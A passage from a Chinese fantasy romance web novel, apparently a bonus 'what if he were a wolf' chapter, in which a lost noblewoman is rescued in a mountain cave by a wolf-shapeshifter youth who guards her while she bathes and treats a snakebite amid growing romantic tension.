她这才发现自己是枕着它柔软的肚皮睡觉。天哪,她怎么敢的! 她动作过大,也让它一并清醒过来。 鹿微眠长久没有敢动,浑身上下汗毛直立,连大气都不敢喘一口。仿佛她稍一有动静,就会被这头恶狼扑上来,咬断脖子。 偏偏它也不动,悠闲地晃着尾巴,极具侵略气息的兽瞳直勾勾地盯着她。仿佛她在这里就没事,她一跑就会扑上去将她据为己有。 鹿微眠艰难地咽了咽口水,这才发现自己身处于一座山洞里。片刻之后,她回想起自己昨天是被一只黑熊追,然后她晕过去了。竟然没有被吃掉。 鹿微眠缓过神来,虽然很难相信,但是……”该不会是你救了我吧。" 它转过头,并没有回话,再度闭上眼睛。 鹿微眠觉得自己大概是疯了,还想等着一只狼回答自己。她抿了抿唇,不对,她好像中间醒了一次,是一个人的手扶着她喂药。也是,一只狼怎么会救她。 鹿微眠见它没有要攻击她的意思,还挺乖的,像个有主的乖乖狼。她慢吞吞地爬起来,“是你主人救了我吗?” 原本趴着准备睡觉的狼又睁开眼睛,眼皮跳了一下。 鹿微眠环顾四周,也没有看见人的影子。她心下疑惑, "你主人去哪里了?" 她站起来,慢吞吞地在山洞里适应环境,在旁边看到了用过的火堆。她捡起打火石,重新将火堆升起来,她慢慢地看清楚了山洞内的光景,以及蜷在那边的狼。 它通体毛发灰白莹亮,干净漂亮,举止悠闲随意,只有眼睛蛰伏着令人不寒而栗的凶性,但收敛起来的时候,眼睛里就像是隐匿着一片暗红火山,偶尔蹦出微红光点。鹿微眠第一次想用矜贵形容一只狼,她眼巴巴地盯着它看。 少年狼被看得浑身不自在,暗自思忖,这只小雌性长得是挺可爱,就是脑子好像……它正想着,听到那小雌性凑了过来,发出感叹,“你好漂亮啊。” 突然被夸的恶狼灰白绒毛耳根再度泛起绯红。 脑子……脑子也挺可爱的。 100、第100章if他是狼... 鹿微眠坐在他身前,抿了抿唇,手指蠢蠢欲动,"我可以摸摸你吗?" 他眉头动了动,掀起眼帘看着她。 鹿微眠也不知道这是能摸还是不能摸,但她还是忍不住。 家养的狼,应该给摸的吧。应该都被摸习惯了。 鹿微眠伸了伸手,见他没有要阻止的意思,碰了碰他脊背毛发。如她想象中那般柔软顺滑,摸起来像是绫罗绸缎。 小狼没有动,只是瞥着她在自己身上作乱的手。其实他不喜欢别人随意触碰他,但只要她别随便摸耳朵和…… 还没等他想完,鹿微眠的手就碰到了那对毛茸茸的耳朵。他凝眉抬头,鹿微眠手指颤了一下,还是规规矩矩地收了回来,很有礼貌地道歉,“对不起啊。” 他重新趴回去。算了,原谅她。 鹿微眠在旁边坐了一会儿,看着他闭上眼睛睡觉,自己百无聊赖地在旁边等着他的主人回来。等着等着,鹿微眠又睡了过去,再度醒来时耳边是炭火灼烧,火星爆裂的声响。她被圈在温暖的怀抱里,一双大手正在解她的裙带。 他好像不会解人类的衣饰绳带,费了好大一番功夫。 鹿微眠被拉扯得有点难受。她半梦半醒间还以为是在家里,暮云前来催促她起床帮她更衣。 鹿微眠困顿地翻了个身,"我再睡一……" 鹿微眠翻过身,眼前光影渗出一道缝隙,少年的下颚轮廓径直闯入眼帘。 男的……?! 她怔愣片刻,蓦的惊起!但偏偏衣带还在他手上,鹿微眠坐起的动作硬生生被拽了下来,又扑到他身上。 封行渊将她接住。 鹿微眠一时窘迫,双手本能地护在身前,“你你你是谁,干嘛……脱我裙子。” 封行渊言简意赅,“裙子脏了。” 鹿微眠低头看了看,大概是这两日总是在山林里又逃跑又滚地,衣裙上早就沾染了不少泥土。脏是脏,但是她很难相信一个外男给她宽衣解带当真没有别的意思,“公子搭救我应是好心,等回了京城我们家必有重谢。” “但公子若是趁机对我图谋不轨,”鹿微眠停顿了一下,深知其实她能不能出去全赌他良心,但仍然努力把这话说得很有气势,"我父亲母亲知道了定也不会饶过。"封行渊久居深山,不知道她在说什么,“图谋不轨是指……” 鹿微眠被问得耳根泛红,不知他是真不知道还是装不知道。 封行渊打量着她这般防备的姿态,猜测着这话语中的含义。人怕狼能怕什么,多半是怕他吃了她,“我不吃你,不必担心。”他只是想要跟她做伴侣而已。 在深山里一眼看上这只小雌性的时候,他就是这么想的,否则也不必这般大费周章地把人救回来。 这话落到鹿微眠耳中,勉强当做他对她不感兴趣,“真的吗?” 封行渊看了她一会儿。 吃掉不会,顶多咬两下,"真的。" 毕竟对于狼族来说,没有伤害性的咬等同于示爱。 他想着,判断起来咬她的口感。 牙根痒了痒,这小姑娘看起来能掐出水,咬起来应当更是软嫩可口。 少年敛眸,拨弄了一下手里的绳带,“你们人怎么喜欢打这么复杂的结。” 鹿微眠总觉得这个人说话奇奇怪怪的,“不复杂,是你乱扯,给打成死结了。” 鹿微眠说着,将被扯成死结的绳带解开,“原本的绳结抽这个角就能全解……” 她说到一半才意识到自己怎么在教一个外男解她的裙带。 鹿微眠一下子护住衣襟,“你不能看。” 封行渊对人的躯体差异没有太大的认知,并不懂为什么不能看,但也乖乖照做回避视线,捡起新做好的衣裙,“那你会自己沐浴吗?”鹿微眠哽住,"会。" 封行渊站起身,将衣裙交给她,“这山洞里面有一处温泉,可以沐浴。”鹿微眠犹犹豫豫地答应着,仍然在怀疑他的意图。 但他好像真的没有什么不好的想法,把崭新的衣裙递给她就重新去烤野兔。 鹿微眠磨磨蹭蹭地爬起来,走到山洞里面,看到了他所说的一汪泉眼。泉水自泉眼流淌而出,形成一小片温泉池。 鹿微眠站在温泉旁迟疑了很久。 不远处的人见她没有反应,便问道,"要我帮你?" “不,不要。”鹿微眠回头看他,“这里……没有遮挡吗?” 这温泉池就在山洞里侧,他一抬头就能看到。 封行渊眉梢微扬,“什么遮挡?” 鹿微眠吭吭哧哧地解释,“比如,树枝树叶石头什么的。” 少年似懂非懂地应了一声,而后起身离开了山洞。一刻钟后,茂密的芭蕉叶和树枝支撑而起的围挡被摆好在山洞里。 鹿微眠意外于他如此认真,一副正人君子的做派,这才多看了他两眼。眼前少年气质清贵,长相也干净单纯,看起来不会是那种混账大变态,她应当是误会他了。 说起来,还是这个人救了她。 封行渊搭好之后,鹿微眠小声道,“谢谢。”“无妨,”封行渊看了看山洞里的温泉,“有事叫我。”他折返回去继续烤兔子。 鹿微眠这才慢吞吞地将身上的衣物脱掉,轻轻探进了温泉之中。泉水温润细腻,鹿微眠钻进去浑身筋骨都舒缓放松了许多,她长长吐出一口气,将方才的防备全部卸下,靠在旁边擦洗身上的泥土。 温泉温度适宜,熏蒸着她的身子。鹿微眠想起来昨晚那只小狼,冷不丁出声,“那个,你养的那只,是狗还是狼啊?” 封行渊:“….…狼。”“那不是我……”养的。 封行渊话还没说完,就听见那边小姑娘嘀嘀咕咕的声音,“他好乖,愿意给我摸,也不咬我。” 封行渊表情有片刻的古怪。 鹿微眠自顾自的看了看自己的手,"他很好摸。" 说着,她转头看过去,但只看到了一片芭蕉叶,“那他现在去哪了?”封行渊没有回话,总归是听明白了她还不知道他就是她摸的那只狼。 的确,虚空谷之外的人多半很难理解这里发生的事情,从前从虚空谷出去的兽人,因为灵气无法支撑人形,被当做妖怪杀死的比比皆是。她应当暂时也不会接受他就是那只狼的事实。 少年眉眼微动,忽然间有些疑虑。她若是知道,会不会也把自己当做妖怪,不愿意跟他做伴侣,或者……会想杀了他。封行渊出神片刻。 鹿微眠没听到他回话,也没有过多在意,继续擦洗着。不知过了多久,脚踝之处有什么滑腻腻的东西钻了过去,蹭的她微微发痒。 鹿微眠疑惑地动了动腿,紧接着小腿骤然间传来一阵刺痛。一条水蛇赫然出现在水面之下!张开嘴,蛇身成蜿蜒进攻姿势,想要咬她。 鹿微眠吓得惊叫一声,想也不想就手忙脚乱地往温泉池边爬。 芭蕉叶围挡之外的人听见这样一声尖叫,迅速起身,顺手掰开手中烧火的树枝,劈出尖利断层。 鹿微眠刚爬出去,下一瞬身上便被厚重的熊皮毯包裹住。少年兽瞳带出一瞬间的凶光,手中尖利树枝飞旋而出,径直刺穿了跃起的腾蛇蛇身,将其钉在一旁地面上! 那腾蛇被身上尖锐的疼痛弄得疯狂摆尾挣扎,很快被疼痛消磨得断了气息。 封行渊正要将那条不长眼的蛇扔出去,胸口衣襟却被人攥住,生怕他离开半步一般。少年低头,看见她浑身紧绷,瑟缩在毯子里紧紧地抱着他。眼尾是吓出来的泪痕。 封行渊犹豫了下,暂时没管那条蛇,把人从岸边抱回去。这只小雌性,人小胆子也小,跟兔子一样。 鹿微眠最怕蛇,这会儿吓得有些失神,任由他动作也没有反应。直到少年将她包裹在毯子里,开始擦拭她身上多余的水珠,那被揉弄的感觉才将她微微唤回神。 鹿微眠抬头看他,发现他脸上表情平静坦然,并非故意要占她便宜的样子,思绪挣扎了一下,才没有吭声。在这样凶险的山林里,男女大防跟性命比起来根本不算什么。 她轻轻吸了吸鼻子,氤氲在眼尾的泪花掉了下来。 封行渊看了一会儿,那修长的手指蹭过她的眼泪。 鹿微眠眼睫颤了一下,与他对视片刻,她眼下不着寸缕只披着个毯子,肤如凝脂、欺霜赛雪,但看着是楚楚可怜泫然欲泣的模样。两人又不约而同的移开视线。 鹿微眠拢了拢毯子,率先打破了沉默道,“它有毒吗,我好像被咬了。”少年脑海反复映出方才看到的光景,转移开自己的注意力,询问,“哪里?” 鹿微眠拉开腿上的毯子,露出小腿上一处血印。封行渊将她靠在石壁边,换了个位置坐在她腿边握住了她的脚踝。 温热手指将她足踝完全包裹的瞬间,鹿微眠小腿一抖,本能地瑟缩又被他拉了过去。他简单检查了一下她的伤口,“有毒但不致命,要帮你吗?”这种蛇毒,只是会让她浑身发麻、气力全失一段时间,过了就会好。 不管致不致命那也是毒,鹿微眠踟蹰道,“如果你有办法,还是帮我一下……” 她话还没说完,就眼睁睁地看着他握住自己踝骨,那红润薄唇覆上了她小腿血印之处! 鹿微眠惊得缩了缩肩膀,小腿处除了少年指骨强有力的掌控感之外,就是不知道是蛇毒还是他薄唇带来的麻酥触感。仿佛什么东西从她的伤口流淌而出又被吸走。 大抵是为了催促毒血流出,他咬了两下,唇齿带来的刺激感很不相同,让鹿微眠指尖跟着攥紧了身上的毛毯。原本被温泉浸润得绯红的身子更添一层潋滟。鹿微眠轻轻咬了一下指节。 封行渊也不知过了多久才松开,只是盯着被他弄得一片通红的小腿处。兽瞳晦暗,轻而易举地被激发起兽-性索取与欺压的本能。 她……的确有点好咬。 想换个地方咬。咬得她呜呜直叫。